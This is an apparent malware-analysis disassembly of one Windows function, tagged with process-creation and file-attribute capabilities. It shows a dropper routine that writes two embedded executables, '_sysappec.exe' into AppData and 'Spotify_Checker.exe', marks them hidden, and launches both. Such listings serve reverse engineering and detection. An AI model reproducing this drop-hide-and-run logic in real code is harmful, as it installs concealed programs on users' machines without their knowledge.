Function at 0x140001d98
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rbp + 0x250], rax
lea rdx, str.SSSSASASASASAS
call fcn.140002268
mov rcx, rax
call fcn.1400024f4
lea rdx, str.dxxs
call fcn.140002268
mov rcx, rax
call fcn.1400024f4
xor r9d, r9d
lea rax, [rbp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor edi, edi
test eax, eax
js 0x140001fed
xorps xmm0, xmm0
lea rax, [rbp + 0x40]
xorps xmm1, xmm1
or r8, 0xffffffffffffffff
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
inc r8
cmp word [rax + r8*2], di
jne 0x140001e24
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140002580
mov r8d, 0xd
lea rdx, str._sysappec.exe
lea rcx, [rsp + 0x50]
call fcn.140002e10
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
call fcn.14000208c
xorps xmm0, xmm0
lea rdx, str.Spotify_Checker.exe
xorps xmm1, xmm1
lea rcx, [rbp - 0x58]
mov r8d, 0x13
movups xmmword [rbp - 0x58], xmm0
movdqu xmmword [rbp - 0x48], xmm1
call fcn.140002580
mov r8d, 0x6400
lea rdx, [0x14002ec80]
lea rcx, [rbp - 0x78]
call fcn.140001ce4
mov r8d, 0xda000
lea rdx, [0x140035080]
lea rcx, [rbp - 0x58]
call fcn.140001ce4
cmp qword [rbp - 0x60], 7
lea rcx, [rbp - 0x78]
mov edx, 2
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp qword [rbp - 0x40], 7
lea rcx, [rbp - 0x58]
mov edx, 2
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edx, edx
mov dword [rbp - 0x30], 0x68
lea rcx, [rbp - 0x28]
lea r8d, [rdx + 0x60]
call fcn.14001dd40
cmp qword [rbp - 0x60], 7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001f7e
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp - 0x40], 7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0x58]
cmova rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001fd9
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x58]
call fcn.14000208c
lea rcx, [rbp - 0x78]
call fcn.14000208c
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140005b40
mov rdi, qword [rsp + 0x370]
add rsp, 0x360
pop rbp
ret